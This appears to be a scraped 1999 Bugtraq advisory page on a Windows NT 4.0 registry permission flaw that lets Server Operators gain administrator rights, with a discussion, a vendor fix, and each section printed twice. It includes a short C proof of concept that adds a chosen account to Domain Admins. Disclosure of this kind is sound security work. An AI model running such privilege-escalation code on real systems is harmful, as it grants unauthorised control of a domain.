NT Server Operator to Administrator Privilege Escalation: System Key Vulnerability
BID:182
Info
NT Server Operator to Administrator Privilege Escalation: System Key Vulnerability
| Bugtraq ID: | 182 |
| Class: | Configuration Error |
| CVE: | |
| Remote: | Unknown |
| Local: | Unknown |
| Published: | Jan 11 1999 12:00AM |
| Updated: | Jan 11 1999 12:00AM |
| Credit: | This vulnerability was posted to NTBugtraq by David Litchfield (Mnemonix) |
| Vulnerable: |
Microsoft Windows NT 4.0 SP4 Microsoft Windows NT 4.0 SP3 Microsoft Windows NT 4.0 SP2 Microsoft Windows NT 4.0 SP1 Microsoft Windows NT 4.0 |
| Not Vulnerable: | |
Discussion
NT Server Operator to Administrator Privilege Escalation: System Key Vulnerability
The default ACL over the HKEY_Local_Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon key "System" value includes an entry for Server Operators:Special. The Special setting allows Server Ops to "Set" this value. A malicious System Operator could place reference to a trojan in this entry. This trojan would be executed under system privileges the next time the system is booted. As the trojan has been called by the system, the system account has privileges to execute code that would elevate the permission of a selected account to "administrator".
Due to the command parsing in this registry key, it is not possible to execute anything "interactive" (ie User Manager, Server Manager), anything with command line arguments, or anything that attempts to interact with the LSASS immediately after logon. Sample code has been posted in the exploit section that will perform privilege escalation without any of the above limitations.
The default ACL over the HKEY_Local_Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon key "System" value includes an entry for Server Operators:Special. The Special setting allows Server Ops to "Set" this value. A malicious System Operator could place reference to a trojan in this entry. This trojan would be executed under system privileges the next time the system is booted. As the trojan has been called by the system, the system account has privileges to execute code that would elevate the permission of a selected account to "administrator".
Due to the command parsing in this registry key, it is not possible to execute anything "interactive" (ie User Manager, Server Manager), anything with command line arguments, or anything that attempts to interact with the LSASS immediately after logon. Sample code has been posted in the exploit section that will perform privilege escalation without any of the above limitations.
Exploit / POC
NT Server Operator to Administrator Privilege Escalation: System Key Vulnerability
/* GetadmforSops.exe - David Litchfield 11 Jan 1999 */
/* Compile with eg Visual C++ and link with netapi32.lib */
#define UNICODE
#include <windows.h>
#include <wchar.h>
#include <lmaccess.h>
#include <winbase.h>
int __cdecl wmain (void)
{
LPWSTR group = L"Domain Admins";
LPWSTR acc = L"acc_name";
NET_API_STATUS nas=0;
_sleep(180000);
if( (nas=NetGroupAddUser(NULL, group, acc)) == 0)
{
wprintf(L"Success");
return 0;
}
return 0;
}
/* GetadmforSops.exe - David Litchfield 11 Jan 1999 */
/* Compile with eg Visual C++ and link with netapi32.lib */
#define UNICODE
#include <windows.h>
#include <wchar.h>
#include <lmaccess.h>
#include <winbase.h>
int __cdecl wmain (void)
{
LPWSTR group = L"Domain Admins";
LPWSTR acc = L"acc_name";
NET_API_STATUS nas=0;
_sleep(180000);
if( (nas=NetGroupAddUser(NULL, group, acc)) == 0)
{
wprintf(L"Success");
return 0;
}
return 0;
}
Solution / Fix
NT Server Operator to Administrator Privilege Escalation: System Key Vulnerability
Solution:
Microsoft has recommended the default permissions over the Winlogon key be reviewed and tightened according to coporate policies. The Special Permissions afforded to Server Operators over the System key may be removed to prevent this vulnerability.
Solution:
Microsoft has recommended the default permissions over the Winlogon key be reviewed and tightened according to coporate policies. The Special Permissions afforded to Server Operators over the System key may be removed to prevent this vulnerability.
References
NT Server Operator to Administrator Privilege Escalation: System Key Vulnerability
References:
References: